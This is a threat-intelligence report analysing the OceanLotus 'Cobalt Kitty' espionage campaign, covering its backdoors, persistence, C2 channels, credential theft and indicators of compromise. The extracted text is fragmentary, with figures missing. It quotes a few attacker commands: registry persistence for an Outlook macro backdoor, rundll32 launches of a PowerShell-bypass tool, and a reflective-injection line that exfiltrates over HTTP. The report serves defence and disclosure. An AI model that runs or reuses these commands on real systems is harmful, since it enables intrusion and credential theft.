Cybereason Labs Analysis Operation Cobalt Kitty
Cybereason Labs Analysis Operation Cobalt Kitty
Cybereason Labs Analysis Operation Cobalt Kitty
Penetration phase
Fake Flash Installer delivering Cobalt Strike Beacon
Word File with malicious macro delivering Cobalt Strike Beacon
Post infection execution of scheduled task
Establishing foothold
Windows Registry
Windows Services
Scheduled Tasks
Outlook Persistence
C2 Communication
Cobalt Strike Fileless Infrastructure (HTTP)
C&C payloads
Cobalt strike Malleable C2 communication patterns
Variant of Denis Backdoor using DNS Tunneling
Outlook Backdoor Macro as C2 channel
Custom NetCat
Internal reconnaissance
Internal Network Scanning
Information gathering commands
Vulnerability Scanning using PowerSploit
Lateral movement
Obtaining credentials
Mimikatz
Gaining Outlook credentials
Pass-the-hash and pass-the-ticket
Propagation via Windows Admin Shares
Windows Management Instrumentation (WMI)
1. Penetration
2. Foothold and persistence
3. Command & control and data exfiltration
4. Internal reconnaissance
5. Lateral movement
1. Link to a malicious site that downloads a fake Flash Installer delivering Cobalt Strike
Beacon
2. Word documents with malicious macros downloading Cobalt Strike payloads
The malicious macro creates two scheduled tasks that download files camouflaged as “.jpg”
files from the C&C server:
Scheduled task 1:
That downloads and executes an additional payload from the same server with a slightly
different name “microsoft.jpg”.
Quick memory analysis of the payload reveals that it is a Cobalt Strike Beacon, as seen in the
strings found in the memory of the PowerShell process:
Cybereason observed another method of Cobalt Strike Beacon delivery in infected machines.
©2017 Cybereason Inc. All rights reserved. 6
Once the initial PowerShell payload is downloaded from the server, it will pass an obfuscated
and XOR’ed PowerShell payload to cmd.exe:
The PowerShell process will then download the new ‘image.jpg’ payload, which is actually
another obfuscated PowerShell payload:
image.jpg - 9394B5EF0B8216528CED1FEE589F3ED0E88C7155
2. Establishing foothold
Gaining persistence is one of the attack’s most important phases. It insures that the malicious
code will run automatically and survive machine reboots.
The attackers used trivial but effective persistence techniques to ensure that their malicious
tools executed constantly on the infected machines. Those techniques consist of:
● Windows Registry Autorun
● Windows Services
● Windows Scheduled Tasks
©2017 Cybereason Inc. All rights reserved. 8
2.1. Windows Registry
The attackers used the Windows Registry Autorun to execute VBScript and PowerShell scripts
residing in the ProgramData folder, which is hidden by default:
The purpose of those .vbs scripts was to launch Cobalt Strike PowerShell scripts mainly
consisting of Cobalt Strike Beacon. Some of the files found in ProgramData appear to be .txt
files. However, their content is VBscript.
In addition, the attackers used NTFS Alternate Data Stream to hide their payloads. This is a
rather old trick to hide data from the unsuspecting users and security solutions.
The code inside the ‘hidden’ .txt file launches a PowerShell process with a base64-encoded
command:
This launches a PowerShell script, which loads an obfuscated and encoded Cobalt Strike’s
beacon payload:
©2017 Cybereason Inc. All rights reserved. 9
2.2. Windows Services
The attackers created and/or modified Windows Services to ensure the loading of the
PowerShell scripts on the compromised machines. These scripts are mostly PowerShell-
encoded Cobalt Strike’s Beacon payloads:
The attackers placed a fake “msfte.dll” under the system32 folder, where the vulnerable
©2017 Cybereason Inc. All rights reserved. 10
applications reside by default. This ensured that the fake “msfte.dll” would be loaded each time
Wsearch launched these applications:
For further details about the backdoor, please refer to Cobalt Kitty Attacker’s Arsenal: Deep dive
into the tools used in the APT.
PowerShell Loader:
Google Update:
©2017 Cybereason Inc. All rights reserved. 11
The attackers exploited a DLL hijacking vulnerability in a legitimate Google Update binary,
which was deployed along with a malicious DLL (goopdate.dll). By default, GoogleUpdate.exe
creates a scheduled task that checks if a new version of Google products is available.
As a result, each time GoogleUpdate.exe application ran, it automatically loaded the malicious
goopdate.dll:
For further details about the backdoor, please refer to Cobalt Kitty Attacker’s Arsenal: Deep dive
into the tools used in the APT.
C&C payloads
Following are a few examples of C&C payloads used as part of the fileless payload delivery
infrastructure.
A .pcap file that was recorded during the execution of the Cobalt Strike payloads clearly shows
the usage of the Malleable C2 profiles, in that case - the “safebrowsing.profile”:
By communicating with known DNS servers, the attackers ensured that the backdoor’s traffic
will not be filtered by firewalls and other security products since it’s unlikely for most
organizations to block OpenDNS and Google’s DNS servers.
Example of DNS tunneling can be seen in this instance of ARP.exe that was spawned by
searchindexer.exe, which loaded the fake msfte.dll:
During the third phase of the attack, the attackers used an advanced technique that turned
Microsoft Outlook into a C2 channel by replacing the email program’s original VbaProject.OTM
macro container with a malicious one containing a backdoor functionality. Using this backdoor,
the attackers managed to send system commands via emails from a Gmail address and
exfiltrate data.
The decoded malicious macro is loaded after boot and constantly looks for incoming emails
containing the strings $$cpte and $$ecpte.
The attacker’s command embed their commands between those two strings.
©2017 Cybereason Inc. All rights reserved. 20
The same technique was used to steal and exfiltrate sensitive company data, as seen in the
screenshots below:
The command lines of the following cmd.exe instances clearly show that the attackers were
gathering information and exfiltrating specific documents:
In addition, examining the command line arguments reveals that the attackers also were aware
of the proxy server deployed in the environment and configured the IP and port accordingly to
allow them external connection to the C&C server:
4. Internal reconnaissance
After the attackers established a foothold on the compromised machines and established C2
communication, they scanned the network, enumerated machines and users and gathered more
information about the environment.
As the screenshot below shows, the attackers launched port scanning against common ports:
The following are a few examples of command line arguments that were used to gather
information on the infected hosts and the network:
Command Purpose
net localgroup administrators Enumerating admin users
©2017 Cybereason Inc. All rights reserved. 23
net group "Domain Controllers" /domain Enumerating DC servers
klist tickets Displaying Kerberos Tickets
dir \\[IP_redacted]\c$ Displaying files on net share
netstat -anpo tcp Displaying TCP connections
ipconfig /all Displaying Network adapter information
ping [hostname_redacted] -n 1 Pinging a host
net view \\[redacted] /all Shows all shares available, including
administrative shares like C$ and admin$
netsh wlan show interface Displaying Wireless adapter properties
route print Displaying a list of persistent routes
WHOAMI Outputs the owner of the current login session
(local, admin, system)
WMIC path win32_process get Searching for the process ID of OUTLOOK, in
Caption,Processid,Commandline | findstr order to restart it, so it would load the
OUTLOOK malicious vbaproject.otm file
Once the Cobalt Strike Beacon was installed, the attackers attempted to find privilege escalation
vulnerabilities that they could exploit on the compromised hosts. The following example shows a
command that was run by a spawned PowerShell process:
5. Lateral movement
The attackers compromised more than 35 machines, including the Active Directory server, by
using common lateral movement techniques including pass-the-hash and pass-the-ticket and
Windows applications such as net.exe and WMI.
The attackers mainly used Mimikatz, which was customized in a way that ensured antivirus
products wouldn’t detect it.
5.1.1. Mimikatz
The main tool used to obtain credentials from the compromised machines was a obfuscated and
sometimes slightly modified versions of Mimikatz, a known password dumping tool, whose
source code is freely available on GitHub. The attackers used at least 14 different versions of
Mimikatz using different techniques to evade antivirus detection:
The attackers used a modified version of a publicly available tool called PSUnlock to bypass the
PowerShell execution restrictions. Here’s an example of this tool being used:
rundll32 C:\ProgramData\PShdll35.dll,main -f C:\ProgramData\doutlook.ps1
The attackers managed to compromise a domain admin account. Using the compromised
administrative account, the attackers moved laterally, deployed their tools and mass-infected
other machines. More instances of lateral movements were observed using other compromised
accounts during the different stages of the attack.
Cobalt Strike
Credential dumpers
Mimikatz
GetPassword_x64
Custom “HookPasswordChange”
Custom Outlook credential dumper
Custom Windows credential dumper
Modified NetCat
This arsenal is consistent with previous documentations of the OceanLotus Group. But it also
includes new custom tools that were not publicly documented in APTs carried out either by
the OceanLotus Group or by threat actors.
Description
The main backdoor was introduced by the attackers during the second stage of the attack, after
their PowerShell infrastructure was detected and shut down. Cybereason spotted the main
backdoor in in December 2016:
In terms of the backdoor’s features, it has similarities to the backdoor (SOUNDBITE), described
in FireEye’s report about APT32 (OceanLotus). However, FireEye’s analysis of this backdoor is
not publicly available. Therefore, Cybereason cannot fully determine whether SOUNDBITE
and Denis are the same backdoor, even though the likelihood seems rather high.
The backdoor’s main purpose was to provide the attackers with a “safe” and stealthy channel to
carry out post-exploitation operations, such as information gathering, reconnaissance,
lateral movement and data collection (stealing proprietary information). The backdoor uses
DNS Tunneling as the main C2 channel between the attackers and the compromised hosts.
The backdoor was mainly exploiting a rare “phantom DLL hijacking” against legitimate
Windows Search applications. The attacker also used a PowerShell version of the backdoor on
a few machines. However, the majority came in a DLL format.
Most importantly, the analysis of the backdoor binaries strongly suggests that the binaries used
in the attack were custom made and differ from other binaries caught in the wild. The binaries
were generated using a highly-sophisticated PE modification engine, which shows the threat
actor’s high level of sophistication.
SearchIndexer.exe (C:\Windows\System32\)
SearchProtocolHost.exe (C:\Windows\System32\)
These applications play a crucial role in Windows’ native search mechanism, and are launched
automatically by the Wsearch service, meaning that they also run as SYSTEM. From an
attacker perspective, exploiting these applications is very cost effective since it allows them to
achieve two goals simultaneously: persistence and privilege escalation to SYSTEM.
The core reason for this lies in the fact that these applications attempt to load a DLL called
“msfte.dll.” This DLL does not exist by default on Windows OS, hence, the name “phantom
DLL”. Attackers who gain administrative privileges can place a fake malicious “msfte.dll” under
“C:\Windows\System32\”, thus ensuring that the DLL will be loaded automatically by
SearchIndexer.exe and SearchProtocolHost.exe without properly validating the integrity of
the loaded module:
Functionality
The fake msfte.dll is not the core backdoor payload. It serves as a loader whose purpose is to
load the malicious code in a stealthy manner that will also ensure persistence. The actual
payload is decoded in memory and injected to other Windows host processes, such as:
svchost.exe, rundll32.exe and arp.exe. Once the core payload is injected, the backdoor will
commence C2 communication using DNS tunneling. The backdoor will send details about the
infected host, network and the users to the C&C server, and will wait for further instructions from
its operators. The main backdoor actions, as observed by Cybereason, consisted of:
● Deploying additional backdoors (goopdate.dll + Outlook backdoor)
● Reconnaissance and lateral movement commands (via cmd.exe)
● Deploying other hacking tools (Mimikatz, NetCat, PowerShell bypass tool, etc.)
The backdoor gives its operator the ability to perform different tasks on the infected machines,
depending on the commands (flags) received from C&C:
Another sign that the loader’s code was custom-built can be found when examining instructions
in the code that are clearly not compiler-generated. Instructions like CPUID, XMM
instructions/registers, xgetbv, as well as others, were placed within the binaries for the obvious
reason of anti-emulation. In addition, the loader’s code also contain many “common” anti-
debugging tricks, using APIs such as: IsDebuggerPresent(), OutputDebugString(),
SetLastError() and more.
It’s interesting to mention that several samples of the Denis Backdoor that were caught in the
wild (not as part of this attack), were also named CiscoEapFast.exe. Please see the
Attackers’ Profile and Indicators of Compromise section for more information.
This embedded executable is the actual payload that is injected to the Windows host processes,
once the fake DLL is loaded and executed.
If we take a look at the address that this RVA translates to in a live instance of msfte.dll (Image
base + 0x1060) here is what we see:
In other words, the author simply created a small do-nothing function (that just exits the current
process) for all of the exports to resolve to. Exports like this would have been generated at
compile-time, or implanted here using a highly sophisticated PE modification engine. This
indicates that this entire attack was planned in advance and that this binary was custom-built
to hijack specific applications. Indications of such pre-meditated design were found during
the attack, when more backdoor variants were discovered exploiting DLL-hijacking against
legitimate Kaspersky and Google applications.
Take the ability to exploit Kaspersky’s AVPIA application. Examination of the exported functions
clearly show that the attackers generated the same exports (e.g “CreateSetupProductInfo”) that
are found in a legitimate Kaspersky’s product_info.dll:
Determining the path of target host process: Determining the path of target host process:
GetSystemDirectoryA → PathAppendA → GetSystemDirectoryA → PathAppendA →
Why the backdoor authors chose to implement two different process injection techniques is
unclear. But these implementations lead to some clear conclusions:
1. The use of PathAppendA API is common to both injections. This is a rather obscure API
that is not commonly observed in malware, at least not in the context of code injection.
2. Use of a less-common process hollowing implementation:
This style of process hollowing is quite uncommon. Usually in process hollowing, the
ZwUnmapViewOfSection or NtUnmapViewOfSection API functions are used to unmap
the original code. But in this case, the original target host process code is not mapped
out. Instead, the loader uses the Wow64SetThreadContext API to change the EAX
register to point to the malicious payload entry point rather than the entry point of the
original/authentic svchost executable in memory.
The purpose of the shellcode is to dynamically resolve the imports as well as to fix the
destroyed PE sections on the fly. The first step is to resolve kernel32.dll in order to import
GetProcAddress() and LoadLibrary() and through them dynamically resolve the rest of the
imported APIs:
Resolving GetProcAddress():
The PE’s metadata contains the file name (“ciscoeapfast.exe”) and description (“Cisco EAP-
FAST Module”). The metadata must have been manually altered by the backdoor authors to
make it look like a credible product:
SHA-1: E9DAB61AE30DB10D96FDC80F5092FE9A467F2CD3
The strings “ciscoeapfast.exe” and “Cisco EAP-FAST Module” were found in most of the
samples of the Denis backdoor that were recovered during the investigation. In addition, the
Finally, the backdoor will decrypt important strings, such as IPs and domain names that are
necessary for the C&C communication via DNS Tunneling.
The following screenshot shows the final decrypted strings used for the DNS Tunneling
communication:
● DNS Server IPs: 208.67.222.222 (OpenDNS) and Google (8.8.8.8)
● Domain name: teriava(.)com
The attackers used trusted DNS servers, such as OpenDNS and Google’s DNS servers, in
order to resolve the IPs of the domains that were hidden inside the DNS packets. Once the
packets reached the real C&C server, the base64-encoded part is stripped, decoded and re-
assembled, thus enabling communication as well as data exfiltration. This is a rather slow yet
smart way to ensure that the traffic will not be filtered, since most organizations will not block
DNS traffic to Google or OpenDNS servers. This technique’s biggest caveat is that it can get
very “noisy” in terms of the unusual amount of DNS packets required to exfiltrate data such as
files and documents.
The adversaries introduced another backdoor during the second stage of the attack. We named
it “Goopy”, since the backdoor’s vessel is a fake goopdate.dll file, which was dropped together
with a legitimate GoogleUpdate.exe application which is vulnerable to DLL hijacking and
placed the two files under a unique folder in APPDATA:
C:\users\xxxxxxxx\appdata\local\google\update\download\{GUID}\
goopdate.dll 9afe0ac621c00829f960d06c16a3e556cd0de249
973b1ca8661be6651114edf29b10b31db4e218f7
1c503a44ed9a28aad1fa3227dc1e0556bbe79919
2e29e61620f2b5c2fd31c4eb812c84e57f20214a
c7b190119cec8c96b7e36b7c2cc90773cffd81fd
185b7db0fec0236dff53e45b9c2a446e627b4c6a
ef0f9aaf16ab65e4518296c77ee54e1178787e21
The attackers used a legitimate and signed GoogleUpdate.exe application that is vulnerable
to DLL hijacking vulnerability:
GoogleUpdate.exe, SHA-1: d30e8c7543adbc801d675068530b57d75cabb13f,
GoogleUpdate’s DLL hijacking vulnerability was previously reported to already in 2014, since
other malware have been exploiting this vulnerability. Most notable ones are the notorious
PlugX and the CryptoLuck ransomware.
*** Following responsible disclosure, this vulnerability was reported to Google on April 2,
2017.
Analysis of Goopy
From features perspective, Goopy shows great similarities to the Denis backdoor. At the same
time, code analysis of the two backdoor clearly shows substantial differences between the two.
The coding style and other static features suggest that they were compiled (and possibly
authored) by the same threat actor. One of the more interesting features of Goopy is that it
Following are the most notable features that distinguish Goopy from Denis:
● Unusually large files (30MB to 55MB) - Compared to the Denis backdoor, which
ranges between 300KB and 1.7MB. This is quite unusual. The goopdate.dll files are
inflated with null characters, most probably to bypass security solutions that don’t inspect
large files.
In addition, the Goopy backdoor has a lot of junk code interlaced with real functions - to
make analysis harder. One example is in a giant subroutine that contains more than
5600 nodes, containing many anti-debugging / anti-disassembly tricks, including infinite
loops:
Example of HTTP usage, as observed using Wireshark to log the network traffic
generated by Goopy:
● Different Mutex creation routine - The mutex creation routine exhibited in “Goopy” is
different from the main backdoor, which is made out of a pseudo-random generated
value that is appended to the user name:
● Persistence - While Denis uses Window’s Wsearch Service for persistence, Goopy
uses also scheduled tasks to ensure that the backdoor is running. The scheduled task
runs every hour. If the backdoor’s mutex is detected, the newly run process will exit.
The attackers used DLL side loading, a well-known technique for evading detection that uses
legitimate applications to run malicious payloads. In Cobalt Kitty, the attackers used DLL side
loading against software from Kaspersky, Microsoft and Google. The hackers likely picked these
programs since they’re from reputed vendors, making users unlikely to question the processes
these programs run and decreasing the chances that analysts will scrutinize them. For example,
the attackers used the following legitimate Avpia.exe binary:
SHA-1: 691686839681adb345728806889925dc4eddb74e
The payload found in the fake product_info.dll communicates with domain and IP that was
previously used in the attack in to drop Cobalt Strike payloads:
During the third phase of the attack, the attackers introduced a new way to communicate with
their C&C servers: an Outlook macro that serves as a backdoor. This backdoor is very unique
and was not documented before to be used in APTs. The only references that come close to
that type of Outlook backdoor are theoretical papers by the NSA (unclassified paper from 2000)
as well as a research paper presented by a group of security researchers in 2011.
The attackers replaced Outlook’s original VbaProject.OTM file, which contains Outlook’s
macros, with a malicious macro that serves as the backdoor. The backdoor receives commands
from a Gmail address operated by the threat actor, executes them on the compromised
machines and sends the requested information to the attacker’s Gmail account.
This technique was observed only on a handful of compromised machines that belonged to top-
level management and were already compromised by at least one other backdoor.
Before the attackers deployed the macro-based backdoor, they had to take care of two things:
1. Creating persistence
The attackers modified specific registry values to create persistence:
REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Office\14\Outlook" /v
"LoadMacroProviderOnBoot" /f /t REG_DWORD /d 1
2. Disabling Outlook’s security policies
Finally, the attackers replaced the existing VbaProject.OTM with the fake macro:
/u /c cd c:\programdata\& copy VbaProject.OTM
C:\Users\[REDACTED]\AppData\Roaming\Microsoft\Outlook
VbaProject.OTM, SHA-1:320e25629327e0e8946f3ea7c2a747ebd37fe26f
The “beauty” of using these markers is that the attackers don’t need to embed their email
addresses in the macro code, and can change as many addresses as they want. They only
need to include the start-end markers:
2. Write the message to temp file - When the macro finds an email whose content matches
the strings, the message body is copied to %temp%\msgbody.txt :
3. Delete the email - The backdoor authors were keen to dispose of the evidence quickly to
avoid raising any suspicions from the victims. Once the email content is copied, the macro
deletes the email from the inbox:
6. Exfiltrate data - The macro will send the requested data back to the attackers as an
attachment, after it obtains the address from the deleted items folder.
Cobalt Strike
Cobalt Strike is a well-known, commercial offensive security framework that is popular among
security professionals and is mainly used for security assessments and penetration testing.
However, illegal use of this framework has been reported in the past in the context of advanced
persistent threats (APTs). Cobalt Strike is also one of the main links of this APT to the
OceanLotus group. This group is particularly known for using Cobalt Strike in its different APT
campaigns throughout Asia.
The adversaries extensively used this framework during this attack, particularly during the first
and fourth stages. Cobalt Strike’s Beacon was the main tool used in the attack, as shown in the
following screenshot, which shows memory strings of one of the payloads used in the attack
(ed074a1609616fdb56b40d3059ff4bebe729e436):
After decoding the encoded part, it can be clearly seen that the payload uses Windows APIs
that are indicative of process injection. In addition, it is possible to see that the attackers aimed
to evade detection by “renaming” process injection-related functions and also adding spaces to
break signature patterns:
In addition, the decoded code contains contains a suspicious looking array (shellcode) as well
as the process injection function to Rundll32.exe:
Don’t-Kill-My-Cat
Most of the PowerShell payloads seen in the attack were wrapped and obfuscated using a
framework called Don’t-Kill-My-Cat (DKMC) that is found on GitHub. This framework generates
payloads especially designed to evade antivirus solutions. The unique strings used by this
framework perfectly match the malicious payloads that were collected during the attack, as
demonstrated below:
The same framework was previously observed in PowerShell payloads of the OceanLotus
Group, as can be seen in a screenshot taken from a previous report:
File: C:\ProgramData\syscheck\syscheck.ps1
SHA-1: 7657769F767CD021438FCCE96A6BEFAF3BB2BA2D
The attackers used it to obfuscate their new PowerShell payloads, which consisted mainly of
Cobalt Strike Beacon, Mimikatz and a custom-built credential dumper. Below is an example of a
PowerShell payload of a custom credential dumper that was obfuscated with “Invoke-
Obfuscation”:
To restore the ability to use Cobalt Strike and other PowerShell-based tools, the attackers used
a slightly customized version of a tool called PSunlock, which is available on GitHub. The tool
provides a way to bypass Windows Group Policies preventing PowerShell execution, and
execute PowerShell scripts without running PowerShell.exe.
Two different payloads of this tool were observed on the compromised machines:
52852C5E478CC656D8C4E1917E356940768E7184 - pshdll35.dll
EDD5D8622E491DFA2AF50FE9191E788CC9B9AF89 - pshdll40.dll
The metadata of the file clearly shows that these files are linked to the PSUnlock project:
The script actually contains a Cobalt Strike Beacon payload, as shown in the screenshot below,
containing the beacon’s indicative strings:
Mimikatz
Benjamin Delpy’s Mimikatz is one of the most popular credential dumping and post-exploitation
tools. It was definitely among the threat actor’s favorite tools: it played a major role in helping
harvest credentials and carry out lateral movement. The attackers successfully uploaded and
executed at least 14 unique Mimikatz payloads, wrapped and obfuscated using different tools.
The following types of Mimikatz payloads were the the most used types:
1. Packed Mimikatz binaries (using custom and known packers)
2. PowerSploit’s “Invoke-Mimikatz.ps1”
3. Mimikatz obfuscated with subTee's PELoader
While most antivirus vendors would detect the official Mimikatz binaries right away, it is still very
easy to bypass the antivirus detection using different packers or obfuscators.
During the attack’s first and second phases, the adversaries mainly used the packed binaries of
Mimikatz as well as the PowerSploit’s “Invoke-Mimikatz.ps1.” As a result, it was very easy to
detect Mimikatz usage just by looking for indicative command line arguments, as demonstrated
here:
The “system.exe” binary is based on Malwaria’s PELoader, which is written using the .NET
framework and is fairly easy to decompile. It’s stealthier because it dynamically loads Mimikatz’s
binary from the resources section of the PE, and then passes the relevant arguments internally,
without leaving traces in the process command line arguments:
After decoding it, we can see the MZ header - indicating that indeed a PE file was hidden inside
the resources section:
After decoding the base64 section, we see that it is another PE file, which is the original
Mimikatz payload taken from GitHub:
It is interesting to notice that this tool’s hash, was the one out of the two hashes that were
known to threat intelligence engines at the time of the attack:
log.exe 7f812da330a617400cb2ff41028c859181fe663f
[GetPassword_x64]
It’s even more interesting to see that even in 2017, almost three years after it was first uploaded
to VirusTotal, and two years after the same tool has been reported being used in an APT, it still
has a very low detection rate and it is misclassified as adware or Mimikatz:
SRCHUI.dll - 29BD1BAC25F753693DF2DDF70B83F0E183D9550D
Adrclients.dll - FC92EAC99460FA6F1A40D5A4ACD1B7C3C6647642
Following are strings extracted from the malicious binaries, indicating the hooking of rassfm.dll’s
PasswordChangeNotify functions:
However, the code was not taken as is. The attackers made quite a few modifications, most of
them are “cosmetic”, like changing functions names and logging strings, as well as adding
functionality to suit their needs.
C:\ProgramData\doutlook.ps1 -
EBDD6059DA1ABD97E03D37BA001BAD4AA6BCBABD
Since PowerShell execution was disabled at this stage of the attack, they attackers executed
the PowerShell script via a tool called PSUnlock that enabled them to bypass PowerShell
execution restrictions. This was done as follows:
rundll32 PShdll35.dll,main -f doutlook.ps1
The dumped strings of the Rundll32 process teach us two important things:
1. The attackers wrote a binary tool and then ported it to PowerShell, using PowerSploit’s
“Invoke-ReflectivePEInjection”.
2. The attackers preconfigured the tools to write the output to ProgramData folder, where
they hid most of their tools
Doutlook.ps1:
(0x2f815f0 (194): Invoke-ReflectivePEInjection -PEBytes $RawPEFile -ExeArgs '-o
c:\programdata\log.txt' -ForceASLR
Example of the output of the the PowerShell script shows the direct intent to obtain Outlook
passwords:
This technique is well known and was used in different tools such as SecurityXploded’s:
http://securityxploded.com/outlookpasswordsecrets.php
http://securityxploded.com/outlook-password-dump.php
In addition, they also used borrowed code from Oxid’s Windows Vault Password Dumper,
written by Massimiliano Montoro, as can be clearly seen in the dumped strings from memory:
The PowerShell version reveals the command-line arguments that the attackers need to supply
the program:
Invoke-ReflectivePEInjection -PEBytes $RawPEFile -ExeArgs '/s http://example.com/q= /l
C:\programdata\log.txt /d C:\programdata\adrclients.dll' -ForceASLR}
This above command line arguments do not appear in the code of the two aforementioned
Oxid’s projects. It was added by the attackers in order to include exfiltration over HTTP along
with the ability to combine the HookPasswordChange functionality.
Modified NetCat
The attackers used a customized version of the famous “Netcat” aka, tcp/ip "Swiss
Army knife", which was taken from GitHub. The tool was executed on very few machines,
and was uploaded to the compromised machines by the backdoor (goopdate.dll):
The IP tool was deployed by the attackers in the attack’s second phase. The product
name “WindowsFormsApplication1”, strongly suggests that the tool was written using
Microsoft’s .NET framework:
The code is very short and straight-forward and clearly reveals the tool’s purpose:
checking the external IP of the compromised machine using the well-known IP service
ipinfo.io.
The Lotus Group appears to have a tendency of using similar and even identical names for their
payloads (seen in their PowerShell payloads, Denis backdoor and fake Flash installers). In
addition, they also used similar anonymization services for their domains repeatedly. That type
of “small” details also played a role in attributing Operation Cobalt Kitty to the OceanLotus
Group.
Lastly, during the investigation, Cybereason noticed that some of the C&C domains and IPs
started to emerge on VirusTotal and other threat intelligence engines, with payloads that were
not observed during Cobalt Kitty. This was a cutting proof that Cobalt Kitty was not an isolated
APT, but part of something bigger. Example of the C&C domains and IPs used by the group
across different APT campaigns and caught in the wild:
Some of these domains were also mentioned in FireEye’s APT32 report, further confirming our
suspicions that the group behind the attack is the OceanLotus Group.
The group includes members who are fluent in at least two Asian languages. This claim is
supported by the language used in the spear-phishing emails, which appear to be written by
native speakers. In addition, the language localization settings found in few of the payloads
suggest that the malware authors compiled the payloads on machines with Asian languages
For example, the following typo was observed in the file metadata of one of the backdoors.
Notice the “Internal Name” field (“Geogle Update”):
The members of the OceanLotus Group demonstrated a remarkable ability to quickly adapt,
introduce new tools and fine tune existing ones to bypass security solutions and avoid detection.
The high number of payloads and the elaborate C2 infrastructure used in this attack can be
indicative of the resources that the attackers had at their disposal. Simultaneously orchestrating
multiple APT campaigns of such magnitude and sophistication takes time, financial resources
and a large team who can support it.
● Motivation - Based on the nature of the attack, the proprietary information that the
attackers were after and the high-profile personnel who were targeted, Cybereason
concluded the main motivation behind the attack was cyber espionage. The attacker
sought after specific documents and type of information. This is consistent with previous
reports about the group’s activity show that the group has a very wide range of targets,
spanning from government agencies, media, business sector, and more.
● Publicly available tools - The attackers showed a clear preference to use publicly
available hacking tools and frameworks. Beyond being spared the hassle of creating a
new tool, it is much harder to attribute a tool that can be used by anyone rather than a
custom-made tool. However, the attackers should not be considered script-kiddies. Most
of the publicly available tools were either obfuscated, modified and even merged with
other tools to evade antivirus detection. This type of customization requires good coding
skills and understanding of how those tools work.
● Custom-built backdoors - The threat actor used very sophisticated and stealthy
backdoors (Denis & Goopy) that were written by highly skilled malware authors. During
the attack, the authors introduced new variants of these backdoors, indicating “on-the-
fly” development capabilities. Developing such state-of-the-art backdoors requires skillful
malware authors, time and resources. In addition, both the Denis and Goopy backdoors
used DNS Tunneling for C2 communication. The OceanLotus Group is known to have a
backdoor dubbed SOUNDBITE by FireEye that use this stealthy technique. However, no
public analysis reports of SOUNDBITE is available to the time of writing this report.
● Exploiting DLL hijacking in trusted applications - The attackers exploited three DLL-
hijacking vulnerabilities in legitimate applications from trusted vendors: Microsoft,
Google and Kaspersky. This further indicates the group’s emphasis on vulnerability
research. DLL-hijacking / Side-loading attacks are not uncommon in APTs, some of
which are also carried out by nation-state actors and advanced cyber-crime groups.
©2017 Cybereason Inc. All rights reserved. 3
There have been reports in the past of GoogleUpdate exploited by PlugX by Chinese
threat actors as well as the Bookworm RAT exploiting Microsoft and Kaspersky
applications in APTs targeting Asia.
Most of the samples caught in-the-wild seem to target Vietnamese speakers. Some of the
samples exhibit clear evidence of targeting Vietnamese entities. This conclusion is derived from
the file names and file contents that are written in Vietnamese, as shown in the examples below:
File Name: Giấy yêu cầu bồi thường mới 2016 - Hằng.doc (Translation: “New Claim Form 2016”)
SHA-1: A5bddb5b10d673cbfe9b16a062ac78c9aa75b61c
Malicious Domain / IP: blog.versign(.)info
Backdoors
Msfte.dll be6342fc2f33d8380e0ee5531592e9f676bb1f94
------------- 638b7b0536217c8923e856f4138d9caff7eb309d
Variant of dcbe007ac5684793ea34bf27fdaa2952c4e84d12
Backdoor.Win32.Denis 43b85c5387aafb91aea599782622eb9d0b5b151f
Goopdate.dll 9afe0ac621c00829f960d06c16a3e556cd0de249
----------------- 973b1ca8661be6651114edf29b10b31db4e218f7
Goopy backdoor 1c503a44ed9a28aad1fa3227dc1e0556bbe79919
2e29e61620f2b5c2fd31c4eb812c84e57f20214a
c7b190119cec8c96b7e36b7c2cc90773cffd81fd
185b7db0fec0236dff53e45b9c2a446e627b4c6a
ef0f9aaf16ab65e4518296c77ee54e1178787e21
product_info.dll 3cf4b44c9470fb5bd0c16996c4b2a338502a7517
[Backdoor exploiting DLL-hijacking
against Kaspersky Avpia]
VbaProject.OTM 320e25629327e0e8946f3ea7c2a747ebd37fe26f
[Outlook Macro]
sunjavascheduler.ps1 0d3a33cb848499a9404d099f8238a6a0e0a4b471
sndVolSSO.ps1 c219a1ac5b4fd6d20a61bb5fdf68f65bbd40b453
91e9465532ef967c93b1ef04b7a906aa533a370e
SCVHost.ps1
fhsvcs.ps1
Goztp.ps1
dns.exe cd675977bf235eac49db60f6572be0d4051b9c07
msfte.dll 2f8e5f81a8ca94ec36380272e36a22e326aa40a4
FVEAPI.dll 01197697e554021af1ce7e980a5950a5fcf88318
sunjavascheduler.ps1 7657769f767cd021438fcce96a6befaf3bb2ba2d
syscheck.ps1 Ed074a1609616fdb56b40d3059ff4bebe729e436
dns.ps1 D667701804CA05BB536B80337A33D0714EA28129
activator.ps1 F45A41D30F9574C41FE0A27CB121A667295268B2
7F4C28639355B0B6244EADBC8943E373344B2E7E
nvidia.db
CV.doc [redacted]
Complaint letter.doc
License Agreement.doc
Loader scripts
syscheck.vbs 62749484f7a6b4142a2b5d54f589a950483dfcc9
SndVolSSO.txt cb3a982e15ae382c0f6bdacc0fcecf3a9d4a068d
dllhosts.exe 5a31342e8e33e2bbe17f182f2f2b508edb20933f
23c466c465ad09f0ebeca007121f73e5b630ecf6
14FDEF1F5469EB7B67EB9186AA0C30AFAF77A07C
KB571372.ps1 7CADFB90E36FA3100AF45AC6F37DC55828FC084A
KB647152.exe 7BA6BFEA546D0FC8469C09D8F84D30AB0F20A129
KB647164.exe BDCADEAE92C7C662D771507D78689D4B62D897F9
kb412345.exe e0aaa10bf812a17bb615637bf670c785bca34096
kb681234.exe 4bd060270da3b9666f5886cf4eeaef3164fad438
System.exe 33cb4e6e291d752b9dc3c85dfef63ce9cf0dbfbc
550f1d37d3dd09e023d552904cdfb342f2bf0d35
SRCHUI.dll 29BD1BAC25F753693DF2DDF70B83F0E183D9550D
adrclients.dll FC92EAC99460FA6F1A40D5A4ACD1B7C3C6647642
[HookPasswordChange]
KB471623.exe 6609A347932A11FA4C305817A78638E07F04B09F
[Custom password dumper]
doutlook.ps1 EBDD6059DA1ABD97E03D37BA001BAD4AA6BCBABD
adobe.dat B769FE81996CBF7666F916D741373C9C55C71F15
adrclients.ps1 E64C2ED72A146271CCEE9EE904360230B69A2C1D
[Custom password dumper]
Miscellaneous tools
pshdll35.dll 52852C5E478CC656D8C4E1917E356940768E7184
pshdll40.dll EDD5D8622E491DFA2AF50FE9191E788CC9B9AF89
[PSUnlock - PowerShell Bypass
tool]
KB-10233.exe C5e19c02a9a1362c67ea87c1e049ce9056425788
kb74891.exe 0908a7fbc74e32cded8877ac983373ab289608b3
[NetCat]
IP.exe 6aec53554f93c61f4e3977747328b8e2b1283af2
cmd.exe
